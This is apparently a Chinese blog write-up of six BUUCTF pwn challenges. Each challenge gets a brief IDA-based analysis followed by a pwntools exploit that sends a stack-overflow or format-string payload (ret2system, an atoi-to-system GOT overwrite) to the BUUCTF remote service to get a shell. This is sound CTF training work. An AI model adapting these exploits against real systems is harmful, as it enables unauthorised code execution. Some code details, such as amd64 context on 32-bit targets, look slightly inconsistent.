BUUCTF(PWN)

pwn1_sctf_2016

查看我们main函数,我们发现这里有个vuln函数,双击进入

进入vuln函数,我们发现这是一个32位的文件,看到第十一行是一个打印字符

我们看到第15行这里是要输入you字符,但是后面16-17行要用I替换you字符

所以我们只要输入I就行 我们看到fgets读取一行得知我们要输入的字符长度32十进制转为16进制20输入0x20

发现了get_flag敏感函数进入看到了system函数,用这个地址为返回函数。

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.buuoj.cn','26735')
#io = process('/home/xp/tm/wp/pwn1_sctf_2016')
flag = 0x8048F0D
padding = b'I'*20 + b'a'*4
payload = padding + p32(flag)
io.sendline(payload)
io.interactive()

jarvisoj_level0

查看main函数,发现返回函数双击后面的进入

严重的栈溢出

Shift键+f12打开发现/bin/sh/双击点开

进入发现system函数和/bin/sh输入我们的返回地址就行

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.buuoj.cn','27355')
#io = process('/home/xp/tm/bin/jarvisoj_level0')
padding = b'a'*(0x80+0x8)
system = 0x40059A
payload = padding + p64(system)
io.sendline(payload)
io.interactive()

[第五空间2019 决赛]PWN5

查看我们的main函数,发现这是一个32位的文件,其次这里涉及到了printf()函数,存在格式化字符串漏洞和偏移量,这里第7行70和第19行的63,这里不存在栈溢出

看到19行,我们知道要输入一个63十进制转换41十六进制的字符长度,然后我们看到atoi知道这里是一个偏移量,804c044开头,我们知道要输入名字的数和密码数一致才能获得flag,这里我们用到了随机生成数。将dword_804c044修改用canary断就能得到flag

我们发现因为存在格式化字符串漏洞,所以我们只要将atoi改成system,system(/bin/sh)就能进入if判断,得到我们的flag

我们可以用checksec+文件名,在ubuntu里发现还有canary打开和NX保护也打开了

法一:

我们用到了%n 用于读取前面字符串的长度并写入某个内存地址

因为前面我们得到了他要输入的偏移量的16进制是41,所以我用AAAA %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x

得到了41414141这个,我们知道了偏移是10

exp:

法二:

我们看了main知道了这里存在格式化字符串漏洞,我们只要将判断atoi改成system,手动输入/bin/sh字符串

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.buuoj.cn','28746')
io = process('/home/xp/tm/bin/pwn5')
elf = ELF('/home/xp/tm/bin/wp/pwn5')
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plt})
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()

jarvisoj_level2

查看main函数,我们发现这是一个32位文件,看见vulnerable_function()双击进入

我们发现这里出现了大量栈溢出

Shift+f12 我们找到/bin/sh和system双击进入

这里是/bin/sh的地址

我们找到system的最终返回地址

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.buuoj.cn','25289')
#io = process('/home/xp/tm/bin/jarvisoj_level2')
system = 0x8048320
binsh = 0x804a024
padding = b'a'*(0x88+0x4)
payload = padding + p32(system) + p32(0xbeff) + p32(binsh)
io.sendline(payload)
io.interactive()

ciscn_2019_n_8

用checksec查看了一下文件,恐怖至极啊

我们查看main函数发现这就是一个简单的var的字符串输入

我们只需要var[13]=17就可以触发/bin/sh的被动,

var[13]后的8个字节数据赋值为17就能得到flag

注意:这里的qword是quad(意思是4)一个word为2个字节,所以qword就是8个字节

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.buuoj.cn','25315')
#io = process('/home/xp/tm/bin/ciscn_2019_n_8')
payload = b'a'*(13)*(4) + p64(17)
io.sendline(payload)
io.interactive()

bjdctf_2020_babystack

查看main发现这是一个栈溢出,且buf输入的长度控制nbytes最小要大于0x20

exp:

from pwn import*
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.buuoj.cn','27234')
#io = process('/home/xp/tm/bin/bjdctf_2020_babystack')
door = 0x4006e6
ret = 0x400561
io.sendline('100')
padding = b'a'*(0x10+0x8)
payload = padding + p64(ret) + p64(door)
io.sendline(payload)
io.interactive()

涉及高版本的ubuntu我们要用一个ret(栈对齐)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值